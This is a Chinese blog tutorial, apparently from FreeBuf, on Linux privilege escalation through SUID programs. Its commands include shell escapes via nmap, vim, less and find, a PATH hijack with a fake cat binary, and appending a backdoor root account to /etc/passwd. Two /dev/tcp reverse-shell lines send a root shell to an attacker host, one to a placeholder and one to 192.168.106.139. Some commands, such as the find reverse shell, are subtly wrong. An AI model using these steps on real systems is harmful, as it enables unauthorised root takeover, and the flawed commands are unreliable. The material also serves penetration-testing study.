左家庄的赵姑娘
- 关注

Linux提权之suid提权
什么是suid?
suid(set user ID)是一种Linux文件权限,它允许用户在执行某个程序时,以该程序所有者的身份运行。这样,用户就可以获得该程序所有者的权限,从而执行一些需要高级权限的操作。
为什么suid可以用于提权?
suid可以用于提权,是因为有些程序在执行时需要比普通用户更高的权限,例如passwd、ping、su等。这些程序通常由root用户或其他特权用户拥有,并设置了suid位,以便其他用户可以使用它们。如果这些程序存在漏洞或者被恶意修改,那么执行它们的用户就可能以root或其他特权用户的身份执行任意命令,从而实现提权。
如何寻找和利用suid程序?
寻找和利用suid程序的步骤如下:
使用find命令查找系统中设置了suid位的可执行文件。例如:
find / -perm -u=s -type f 2>/dev/null
这条命令的意思是查找系统中设置了suid位的可执行文件,并忽略错误信息。详细解释如下:
find
是一个查找文件的工具,它可以根据不同的条件来搜索文件。/
是一个路径,表示从根目录开始搜索。-perm -u=s
是一个选项,表示只匹配那些用户(u)权限中包含suid(s)位的文件。suid位是一种特殊的文件权限,它允许用户在执行某个程序时,以该程序所有者的身份运行。-type f
是一个选项,表示只匹配那些类型(type)为普通文件(f)的文件。这样可以排除目录、链接、设备等其他类型的文件。2>/dev/null
是一个重定向,表示将错误信息(2)输出到空设备(/dev/null),从而忽略错误信息。这样可以避免一些无关紧要的信息干扰搜索结果。分析找到的suid程序,判断是否存在漏洞或者是否可以被滥用。例如:
判断是否可以使用shell命令作为参数传递给suid程序。例如:
/usr/bin/nmap --interactive
!sh这两条命令的意思是利用nmap的交互模式执行shell命令,从而获取suid提权。详细解释如下:
/usr/bin/nmap
是一个端口扫描工具,它可以用来探测网络中的主机和服务。它的路径是/usr/bin/nmap
,表示它位于/usr/bin
目录下。--interactive
是一个选项,表示进入nmap的交互模式。在这个模式下,用户可以输入nmap的命令来执行扫描或者其他操作。!sh
是一个特殊的命令,表示在nmap的交互模式下,执行shell命令。在这里,!
表示执行后面的命令,而不是nmap的命令。sh
表示启动一个shell,也就是一个命令行界面。如果nmap有suid权限,那么执行这两条命令后,用户就可以以nmap的所有者(通常是root)的身份运行shell命令,从而实现提权。
判断是否可以通过环境变量或者配置文件影响suid程序的行为。例如:
export PATH=/tmp:$PATH
echo "/bin/sh" > /tmp/cat
chmod +x /tmp/cat
/usr/bin/find / -exec cat {} \;export PATH=/tmp:$PATH
是一个设置环境变量的命令,它表示将/tmp
目录添加到PATH
变量的最前面。PATH
变量是一个存储可执行文件路径的变量,当用户输入一个命令时,系统会按照PATH
变量中的顺序,从左到右,依次查找该命令所在的目录。如果在某个目录中找到了该命令,那么就执行该命令。如果没有找到,那么就报错。echo "/bin/sh" > /tmp/cat
是一个输出字符串到文件的命令,它表示将字符串/bin/sh
输出到/tmp/cat
文件中。/bin/sh
是一个shell程序的路径,它可以用来执行命令行界面。/tmp/cat
是一个文件名,它和一个常用的查看文件内容的工具cat同名,这是故意的,为了后面的利用。chmod +x /tmp/cat
是一个修改文件权限的命令,它表示给予/tmp/cat
文件可执行(x)权限。这样,该文件就可以被当作一个程序来运行。/usr/bin/find / -exec cat {} \;
是一个查找文件并执行命令的工具,它表示从根目录(/)开始查找所有的文件,并对每个找到的文件执行cat命令。cat命令本来是用来查看文件内容的,但是在这里,由于之前修改了环境变量和创建了同名文件,所以系统会优先执行/tmp/cat
文件,而不是真正的cat工具。而/tmp/cat
文件中的内容就是启动一个shell程序。因此,这条命令实际上就是对每个找到的文件都启动一个shell程序。如果find有suid权限,那么执行这四条命令后,用户就可以以find的所有者(通常是root)的身份运行shell程序,从而实现提权。
利用找到的漏洞或者滥用方法,执行提权命令。例如:
修改/etc/passwd文件,添加一个新的root用户。例如:
echo "hacker:$(openssl passwd -1 -salt hacker hacker):0:0:hacker:/root:/bin/bash" >> /etc/passwd
su hacker验证提权是否成功。例如:
id
whoami
以下是我整理的一些常见的suid提权的程序或命令,以及它们的利用方法:
nmap:nmap是一个端口扫描工具,如果它的版本在2.02-5.21之间,并且有suid权限,那么可以利用它的交互模式执行任意命令。具体步骤如下:
运行
nmap --interactive
进入交互模式运行
!sh
或者其他命令获取shell如果需要反弹shell,可以运行
!bash -i >& /dev/tcp/攻击者IP/端口 0>&1
vim:vim是一个文本编辑器,如果它有suid权限,那么可以利用它的shell选项执行任意命令。具体步骤如下:
运行
vim.tiny
或者其他版本的vim按下ESC键,输入
:set shell=/bin/sh
输入
:shell
获取shell
find:find是一个查找文件的工具,如果它有suid权限,那么可以利用它的-exec选项执行任意命令。具体步骤如下:
运行
find / -exec /bin/sh \;
获取shell如果需要反弹shell,可以运行
find / -exec bash -i >& /dev/tcp/192.168.106.139/4450 0>&1 \;
less/more:less和more是两个查看文件内容的工具,如果它们有suid权限,那么可以利用它们的!选项执行任意命令。具体步骤如下:
运行
less /etc/passwd
或者more /etc/passwd
输入
!/bin/sh
或者其他命令获取shell
cp/mv:cp和mv是两个复制和移动文件的工具,如果它们有suid权限,那么可以利用它们覆盖一些敏感文件,例如/etc/passwd或者/etc/shadow。具体步骤如下:
创建一个新的passwd或者shadow文件,其中包含一个新的root用户和密码
运行
cp 新文件 /etc/passwd
或者mv 新文件 /etc/passwd
运行
su 新用户
获取root权限
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)